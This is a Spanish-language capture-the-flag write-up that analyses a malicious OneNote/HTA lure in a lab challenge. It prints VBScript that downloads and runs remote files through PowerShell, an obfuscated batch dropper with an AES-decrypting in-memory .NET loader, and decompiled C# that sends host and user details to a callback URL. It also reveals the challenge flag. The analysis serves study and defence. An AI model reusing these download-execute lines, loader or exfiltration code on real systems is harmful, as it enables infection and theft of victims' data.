Relic Maps
6 minutos de lectura
Tenemos esta descripción para el reto:
Pandora received an email with a link claiming to have information about the location of the relic and attached ancient city maps, but something seems off about it. Could it be rivals trying to send her off on a distraction? Or worse, could they be trying to hack her systems to get what she knows? Investigate the given attachment and figure out what’s going on and get the flag. The link is to
http://relicmaps.htb:/relicmaps.one
. The document is still live (relicmaps.htb should resolve to your docker instance).
El dominio relicmaps.htb
indica que debemos apuntar la dirección IP y el puerto remotos allí.
Análisis de malware
Vamos a descargar /relicmaps.one
usando curl
:
$ curl 161.35.36.167:30396/relicmaps.one -so - | file -
/dev/stdin: data
$ curl 161.35.36.167:30396/relicmaps.one -so relicmaps.one
El archivo descargado no parece reconocible. Usando strings
encontramos código de PowerShell:
$ strings -40 relicmaps.one
<HTA:APPLICATION icon="#" WINDOWSTATE="normal" SHOWINTASKBAR="no" SYSMENU="no" CAPTION="no" BORDER="none" SCROLL="no" />
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
Set objProcess = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
WmiExec = dukpatek(objProcess, objConfig, cmdLine)
Private Function dukpatek(myObjP , myObjC , myCmdL )
dukpatek = myObjP.Create(myCmdL, Null, myObjC, procId)
ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri http://relicmaps.htb/uploads/soft/topsecret-maps.one -OutFile $env:tmp\tsmap.one; Start-Process -Filepath $env:tmp\tsmap.one"
ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri http://relicmaps.htb/get/DdAbds/window.bat -OutFile $env:tmp\system32.bat; Start-Process -Filepath $env:tmp\system32.bat"
' Exec process using WScript.Shell (asynchronous)
CreateObject("WScript.Shell").Run cmdLine, 0
If Err.Number <> 0 Or wimResult <> 0 Then
Parece que el malware está haciendo peticiones HTTP a /uploads/soft/topsecret-maps.one
y /get/DdAbds/window.bat
.
Comenzando con topsecret-maps.one
, vemos que no lo reconoce:
$ curl 161.35.36.167:30396/uploads/soft/topsecret-maps.one -so - | file -
/dev/stdin: data
$ curl 161.35.36.167:30396/uploads/soft/topsecret-maps.one -so topsecret-maps.one
El otro archivo es un script en Batch:
$ curl 161.35.36.167:30396/get/DdAbds/window.bat -so - | file -
/dev/stdin: DOS batch file text, ASCII text, with very long lines (4463), with CRLF line terminators
$ curl 161.35.36.167:30396/get/DdAbds/window.bat -so window.bat
Desofuscación de Batch
Sin embargo, está ofuscado (algunas partes se omiten):
@echo off
set "eFlP=set "
%eFlP%"ualBOGvshk=ws"
%eFlP%"PxzdwcSExs= /"
%eFlP%"ndjtYQuanY=po"
%eFlP%"cHFmSnCqnE=Wi"
%eFlP%"CJnGNBkyYp=co"
:: ...
%eFlP%"chXxviaBCr=we"
%eFlP%"YcnfCLfyyS=in"
%eFlP%"lYCdEGtlPA=.e"
%eFlP%"pMrovuxjjq=he"
%eFlP%"UrPeBlCopW=ll"
%eFlP%"ujJtlzSIGW= C"
%eFlP%"zhNAugCrcK="%~0."
%eFlP%"ZqjBENExAX=s\"
set "VhIy=set "
%VhIy%"dzPrbmmccE=cd"
%VhIy%"xQseEVnPet= "%~dp0""
set "eUFw=set "
%eUFw%"wxzMwkmbmY=gDBN"
%eUFw%"VavtsuhNIN=F'[-"
:: ...
%eUFw%"cYinxarhDL=lit("
%eUFw%"bIgeRgvTeJ=ap.T"
%eUFw%"acXjUrxrpX=raph"
%eUFw%"SCbDgQuqTU=ay()"
:: SEWD/RSJz4q93dq1c+u3tVcKPbLfn1fTrwl01pkHX3+NzcJ42N+ZgqbF+h+S76xsuroW3DDJ50IxTV/PbQICDVPjPCV3DYvCc244F7AFWphPY3kRy+618kpRSK2jW9RRcOnj8dOuDyeLwHfnBbkGgLE4KoSttWBplznkmb1l50KEFUavXv9ScKbGilo9+85NRKfafzpZjkMhwaCuzbuGZ1+5s9CdUwvo3znUpgmPX7S8K4+uS3SvQNh5iPNBdZHmyfZ9SbSATnsXlP757ockUsZTEdlt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GapFScCcpe%%lfYSggLrsL%%GhTXhmRnCR%%ENADhKPHot%%KdByPVjCnF%%PjdRUyhsyG%%kpzxAxFvLw%%rddZbDFvhl%
exit /b
Hay un comentario muy sospechoso con una larga cadena codificada en Base64.
En lugar de tratar manualmente de ver qué estaba ejecutando el malware, modifiqué un poco el código para imprimir lo que se suponía que debía ejecutar en una máquina de Windows (usando echo
en las últimas líneas):
# ...
%eUFw%"KsuJogdoiJ= -no"
%eUFw%"djeIEnPaCg=tsWi"
%eUFw%"brwOvSubJT=e = "
%eUFw%"TOqZKQRZli=uZOc"
echo %CJnGNBkyYp%%UBndSzFkbH%%ujJtlzSIGW%%nwIWiBzpbz%%cHFmSnCqnE%%kTEDvsZUvn%%JBRccySrUq%%ZqjBENExAX%%XBucLtReBQ%%BFTOQBPCju%%vlwWETKcZH%%NCtxqhhPqI%%GOPdPuwuLd%%YcnfCLfyyS%%JPfTcZlwxJ%%ualBOGvshk%%xprVJLooVF%%cIqyYRJWbQ%%jaXcJXQMrV%%pMrovuxjjq%%KXASGLJNCX%%XzrrbwrpmM%%VCWZpprcdE%%tzMKflzfvX%%ndjtYQuanY%%chXxviaBCr%%tHJYExMHlP%%WmUoySsDby%%UrPeBlCopW%%lYCdEGtlPA%%eNOycQnIZD%%PxzdwcSExs%%VxroDYJQKR%%zhNAugCrcK%%XUpMhOyyHB%%OOOxFGwzUd%
:: cls
echo %dzPrbmmccE%%xQseEVnPet%
echo %eDhTebXJLa%%vShQyqnqqU%%KsuJogdoiJ%%uVLEiIUjzw%%SJsEzuInUY%%gNELMMjyFY%%XIAbFAgCIP%%weRTbbZPjT%%yQujDHraSv%%zwDBykiqZZ%%nfEeCcWKKK%%MtoMzhoqyY%%igJmqZApvQ%%SIQjFslpHA%%KHqiJghRbq%%WSRbQhwrOC%%BGoTReCegg%%WYJXnBQBDj%%SIneUaQPty%%WTAeYdswqF%%EdLUuXiTNo%%rVOFKTskYR%%nMLIkcyFZj%%jtkYEPXtKX%%RWcegafVtf%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INPLAzQfUo%%ekEoGMuERC%%aGQeJYSFDZ%%LODxmGMGqq%%KtmeCApwQn%%MAPkvbWKbC%%HlBVDpGgba%%ZNnASGtLCj%%IwOqmlYsbl%%JbFOJyRrBm%%TiuQnZmosP%%HkiSTlwlIs%%rofQqYizRu%%OckpqzbYcn%%YJZmDySMUy%%cGJiVEdEzp%%QNxYaFZSBu%%jxjvtHoTnR%%fvEtritbuM%%wxzMwkmbmY%%yZlAoExoOn%%pjrIjvjdGR%%mYyPXMYwYi%%vnHosfjdeN%%LfngwmfRCb%%bivuMABwCB%%GapFScCcpe%%lfYSggLrsL%%GhTXhmRnCR%%ENADhKPHot%%KdByPVjCnF%%PjdRUyhsyG%%kpzxAxFvLw%%rddZbDFvhl%
exit /b
PS ...\Relic Maps> .\window-modified.bat
copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y ".\Relic Maps\window.bat.exe"
cd ".\Relic Maps\"
"window.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $eIfqq = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('.\Relic Maps\window.bat').Split([Environment]::NewLine);foreach ($YiLGW in $eIfqq) { if ($YiLGW.StartsWith(':: ')) { $VuGcO = $YiLGW.Substring(3); break; }; };$uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO);$BacUA = New-Object System.Security.Cryptography.AesManaged;$BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC;$BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=');$BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==');$Nlgap = $BacUA.CreateDecryptor();$uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length);$Nlgap.Dispose();$BacUA.Dispose();$mNKMr = New-Object System.IO.MemoryStream(, $uZOcm);$bTMLk = New-Object System.IO.MemoryStream;$NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress);$NVPbn.CopyTo($bTMLk);$NVPbn.Dispose();$mNKMr.Dispose();$bTMLk.Dispose();$uZOcm = $bTMLk.ToArray();$gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm);$PtfdQ = $gDBNO.EntryPoint;$PtfdQ.Invoke($null, (, [string[]] ('')))
Desofuscación de PowerShell
El script de Batch está tratando de ejecutar código de PowerShell en línea, que nuevamente está un poco ofuscado. Vamos a desofuscarlo un poco:
$eIfqq = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('.\Relic Maps\window.bat').Split([Environment]::NewLine);
foreach ($YiLGW in $eIfqq) {
if ($YiLGW.StartsWith(':: ')) {
$VuGcO = $YiLGW.Substring(3);
break;
};
};
$uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO);
$BacUA = New-Object System.Security.Cryptography.AesManaged;
$BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=');
$BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==');
$Nlgap = $BacUA.CreateDecryptor();
$uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length);
$Nlgap.Dispose();
$BacUA.Dispose();
$mNKMr = New-Object System.IO.MemoryStream(, $uZOcm);
$bTMLk = New-Object System.IO.MemoryStream;
$NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress);
$NVPbn.CopyTo($bTMLk);
$NVPbn.Dispose();
$mNKMr.Dispose();
$bTMLk.Dispose();
$uZOcm = $bTMLk.ToArray();
$gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm);
$PtfdQ = $gDBNO.EntryPoint;
$PtfdQ.Invoke($null, (, [string[]] ('')))
Bueno, aún es un poco ilegible, podemos usar PowerShell para evaluar algunas expresiones y reemplazarlas en el código:
$ pwsh
PowerShell 7.3.3
PS .../Relic Maps> 'txeTllAdaeR'[-1..-11] -join ''
ReadAllText
PS .../Relic Maps> 'gnirtS46esaBmorF'[-1..-16] -join ''
FromBase64String
PS .../Relic Maps> 'daoL'[-1..-4] -join ''
Load
Entonces, esto es algo más legible:
$content = [System.IO.File]::ReadAllText('.\Relic Maps\window.bat').Split([Environment]::NewLine);
foreach ($line in $content) {
if ($line.StartsWith(':: ')) {
$comment = $line.Substring(3);
break;
};
};
$payload = [System.Convert]::FromBase64String($comment);
$aes = New-Object System.Security.Cryptography.AesManaged;
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$aes.Key = [System.Convert]::FromBase64String('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=');
$aes.IV = [System.Convert]::FromBase64String('2hn/J717js1MwdbbqMn7Lw==');
$Nlgap = $aes.CreateDecryptor();
$payload = $Nlgap.TransformFinalBlock($payload, 0, $payload.Length);
$Nlgap.Dispose();
$aes.Dispose();
$mNKMr = New-Object System.IO.MemoryStream(, $payload);
$bTMLk = New-Object System.IO.MemoryStream;
$NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress);
$NVPbn.CopyTo($bTMLk);
$NVPbn.Dispose();
$mNKMr.Dispose();
$bTMLk.Dispose();
$payload = $bTMLk.ToArray();
$gDBNO = [System.Reflection.Assembly]::Load($payload);
$PtfdQ = $gDBNO.EntryPoint;
$PtfdQ.Invoke($null, (, [string[]] ('')))
Básicamente, lo que hace es leer el archivo window.bat
y buscar el comentario grande con la cadena codificada en Base64. Luego usa AES para descifrarlo y cargarlo como código de ensamblador para ejecutarlo. Obsérvese que tenemos la clave y el IV para el cifrado AES (como Easter Egg, la clave comienza con 0xdf
, que es probablemente el creador de este reto).
Entonces, descifrémoslo usando Python:
$ python3 -q
>>> from base64 import b64decode
>>> from Crypto.Cipher import AES
>>>
>>> comment = b64decode(b'SEWD/RSJz4q93dq1c+u3tVcKPbLfn1fTrwl01pkHX3+NzcJ42N+ZgqbF+h+S76xsuroW3DDJ50IxTV/PbQICDVPjPCV3DYvCc244F7AFWphPY3kRy+618kpRSK2jW9RRcOnj8dOuDyeLwHfnBbkGgLE4KoSttWBplznkmb1l50KEFUavXv9ScKbGilo9+85NRKfafzpZjkMhwaCuzbuGZ1+5s9CdUwvo3znUpgmPX7S8K4+uS3SvQNh5iPNBdZHmyfZ9SbSATnsXlP757ockUsZTEdltSce4ZWF1779G6RjtKJcK4yrHGpRIZFYJ3pLosmm7d+SewKQu1vGJwcdLYuHOkdm5mglTyp20x7rDNCxobvCug4Smyrbs8XgS3R4jHMeUl7gdbyV/eTu0bQAMJnIql2pEU/dW0krE90nlgr3tbtitxw3p5nUP9hRYZLLMPOwJ12yNENS7Ics1ciqYh78ZWJiotAd4DEmAjr8zU4UaNaTHS8ykbVmETk5y/224dqK1nCN/j/Pst+sL0Yz5UlK1/uPmcseixQw+9kfdnzrjCv/6VOHE0CU5p8OCyD8LEesGNSrT0n76Vc0UvUJz0uKWqBauVAcm9nzt8nt6sccLMzT+/z4ckTaNDMa3CHocd2VAO0iYELHhFmWUL1JZ6X7pvsuiUIJydYySY8p0nLQ4dwx/ZIwOQLDODRvWhHDDIB+uZYRD5Uq6s7lG+/EFkEgw2UZRaIUj4C0O8sFGHVVZIo/Sayn5T4xcX+s73o7VdXJSKT+KyR0FIIvuK/20zWMOn76PXY3UhF9s7JuSUUS+AVtAq50P6br8PjGhwD+PjoElT77AwfmrzBLib05mcofiWLe4WcAJQvR10iWAPTiSe7g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2q9F7/paM1ZILQK/QvzvPTB6ioCr3A+HOVCDAc5OfG26R0sUIi+asNcsrPU4/tJXSCYCDHzCabozWnCWq5HFwgKopnam3ZHuxS436xs4SZT3v1RvkoLkEZLlrUhwgXlI7PmpRUbnYHo1Fa25lcvM23QOf0oldx0jF8VVNSKWK98G52TK0h1Bpu+3LUfebuGDg/v6u34oEAnzbXVzYoNVuv4fcefd78WBtQbmqkYWpoq9lGc9oR+cMliEgMSCNhPH9kyaYv71/cD/EScRKnDkkoEZLnQ6lyU+mOJ3Or3PZj9reszg=')
>>> key = b64decode(b'0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=')
>>> iv = b64decode(b'2hn/J717js1MwdbbqMn7Lw==')
>>>
>>> aes = AES.new(key, AES.MODE_CBC, iv)
>>>
>>> malware = aes.decrypt(comment)
>>>
>>> with open('malware', 'wb') as f:
... f.write(malware)
...
3344
>>> exit()
$ file malware
malware: gzip compressed data, last modified: Sat Jan 28 00:22:25 2023, original size modulo 2^32 134744072
Descompilación de ejecutable Windows
Entonces, ahora tenemos un archivo comprimido con GZIP, lo descomprimos:
$ mv malware malware.gz
$ gzip -d malware.gz
gzip: malware.gz: trailing garbage ignored
$ file malware
malware: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
$ mv malware malware.exe
Nótese que gzip
muestra una advertencia porque no quitamos el relleno sobrante del descifrado de AES. De todos modos, ahora tenemos un Windows PE compilado de C# .NET.
En este punto, podemos usar JetBrains dotPeek para descompilarlo y leer el código fuente en C#:
// RelicMaps.Program
using System;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Net.Sockets;
using System.Security.Cryptography;
using System.Text;
internal class Program
{
private static void Main(string[] args)
{
IPAddress iPAddress = Dns.GetHostAddresses(Dns.GetHostName()).FirstOrDefault((IPAddress ip) => ip.AddressFamily == AddressFamily.InterNetwork);
string machineName = Environment.MachineName;
string userName = Environment.UserName;
DateTime now = DateTime.Now;
string text = "HTB{0neN0Te?_iT'5_4_tr4P!}";
string s = $"i={iPAddress}&n={machineName}&u={userName}&t={now}&f={text}";
Aes? aes = Aes.Create("AES");
aes!.Mode = CipherMode.CBC;
aes!.Key = Convert.FromBase64String("B63PbsPUm3dMyO03Cc2lYNT2oUNbzIHBNc5LM5Epp6I=");
aes!.IV = Convert.FromBase64String("dgB58uwgaohVelj4Xhs7RQ==");
aes!.Padding = PaddingMode.PKCS7;
ICryptoTransform cryptoTransform = aes!.CreateEncryptor();
byte[] bytes = Encoding.UTF8.GetBytes(s);
string text2 = Convert.ToBase64String(cryptoTransform.TransformFinalBlock(bytes, 0, bytes.Length));
Console.WriteLine(text2);
HttpClient httpClient = new HttpClient();
HttpRequestMessage httpRequestMessage = new HttpRequestMessage
{
RequestUri = new Uri("http://relicmaps.htb/callback"),
Method = HttpMethod.Post,
Content = new StringContent(text2, Encoding.UTF8, "application/json")
};
Console.WriteLine(httpRequestMessage);
HttpResponseMessage result = httpClient.SendAsync(httpRequestMessage).Result;
Console.WriteLine(result.StatusCode);
Console.WriteLine(result.Content.ReadAsStringAsync().Result);
}
}
Ahora podemos analizar lo que está haciendo el malware.
Flag
Pero lo que es más importante, está la flag en texto claro: HTB{0neN0Te?_iT'5_4_tr4P!}
.